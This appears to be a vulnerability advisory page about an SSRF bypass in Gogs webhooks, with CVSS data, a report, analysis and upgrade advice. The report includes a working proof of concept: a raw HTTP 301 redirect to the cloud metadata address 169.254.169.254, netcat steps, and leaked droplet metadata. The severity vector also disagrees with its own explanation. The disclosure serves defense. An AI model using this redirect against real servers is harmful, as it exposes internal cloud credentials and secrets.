Severity by source
AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
Webhook creation needs an authenticated privileged account (PR:L); SSRF to cloud metadata changes scope (S:C) and can expose high-value internal secrets (C:H), with limited integrity and no direct availability impact.
Primary rating from Vendor (https://github.com/gogs/gogs).
CVSS VectorVendor: https://github.com/gogs/gogs
Lifecycle Timeline
6DescriptionCVE.org
Summary
The fix for CVE-2022-1285 prevents adding webooks or running webhooks with URLs with a hostname that resolves in localCIDRs. However, webhooks still follow redirects allowing to access hostname inside localCIDRs.
This was already communicated in the initial report but it looks like there was a bit of a miscommunication.
Details
By creating a webook pointing to any URL that will return the following:
HTTP/1.1 301 Moved Permanently
Location: http://169.254.169.254/metadata/v1.json
Content-Length: 0
Connection: closeIt is possible to access 169.254.169.254
PoC
- Run netcat on any server
- Use this server as the webhook URL
- Once you get the request from the webhook (for example by testing it), copy the response above
Results from running this on try.gogs:
{"droplet_id":456901166,"hostname":"gogs-do-nyc3-01","vendor_data":"Content-Type: multipart/mixed; boundary=\"===============8645434374073493512==\"\nMIME-Version: 1.0\n\n--===============8645434374073493512==\nMIME-Version: 1.0\nContent-Type: text/cloud-config; charset=\"us-ascii\"\nContent-Transfer-Encoding: 7bit\nContent-Disposition: attachment; filename=\"cloud-config\"\n\n#cloud-config\n\n
# Enable root and password auth\ndisable_roo...{"dhcp_enabled":false,"vpc_peering_enabled":false},"dotty_status":"running","ssh_info":{"port":22}}Impact
Server Side Request Forgery
Fix
The "simplest way" to fix it is most likely to leverage Client.CheckRedirect https://pkg.go.dev/net/http#hdr-Clients_and_Transports to check if the redirect is pointing to a blocked hostname
AnalysisAI
Server-side request forgery in Gogs (self-hosted Git service) versions ≤ 0.14.2 lets a user who can configure a webhook reach internal-only network addresses by abusing HTTP redirect following. The original CVE-2022-1285 fix only blocked webhook URLs whose hostname resolves into local CIDRs, but the delivery client still chased 3xx redirects, so a webhook pointed at an attacker-controlled host that returns a 301 to http://169.254.169.254/ pivots into cloud metadata and other internal services. Publicly available exploit code exists (a working PoC against try.gogs is documented, dumping DigitalOcean droplet metadata); it is not listed in CISA KEV and no public EPSS figure is provided.
Technical ContextAI
Gogs is a lightweight self-hosted Git service written in Go (package pkg:go/gogs.io_gogs). Its webhook subsystem (internal/database/webhook.go, using the internal/httplib HTTP wrapper) delivers signed JSON payloads to user-configured URLs. The root cause is CWE-918 (SSRF): the prior hardening validated only the initially configured hostname against blocked local CIDRs, but the underlying net/http client followed redirects without re-applying that policy, so a permitted external target could redirect the request to an internal address. The patched code installs a CheckRedirect callback (http.Client.CheckRedirect) that refuses to follow any webhook redirect, closing the bypass at the HTTP-client layer rather than re-resolving each hop.
RemediationAI
Upgrade to the vendor-released patch: Gogs 0.14.3, which adds an http.Client.CheckRedirect policy that refuses to follow webhook redirects (PR #8263 / commit 199cf4fd5bbe40b92f6dc8d649e241fd7a8d0018; advisory GHSA-c4v7-xg93-qf8g). If immediate patching is not possible, restrict who can create or edit webhooks by limiting repository-admin and organization-admin privileges to trusted users and disabling open/self-service registration so untrusted accounts cannot configure delivery URLs; additionally, place the Gogs server behind egress firewall rules that block outbound access to link-local and cloud-metadata ranges (notably 169.254.0.0/16, including 169.254.169.254) and other internal CIDRs, and where supported enforce IMDSv2/hop-limit on cloud instances. Trade-offs: egress filtering can break legitimate webhooks that must reach internal CI systems, and tightening webhook permissions reduces self-service convenience, so scope these controls and prefer upgrading as the durable fix.
Same weakness CWE-918 – Server-Side Request Forgery (SSRF)
View allVendor StatusVendor
SUSE
Severity: Important| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
Share
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-39064
GHSA-c4v7-xg93-qf8g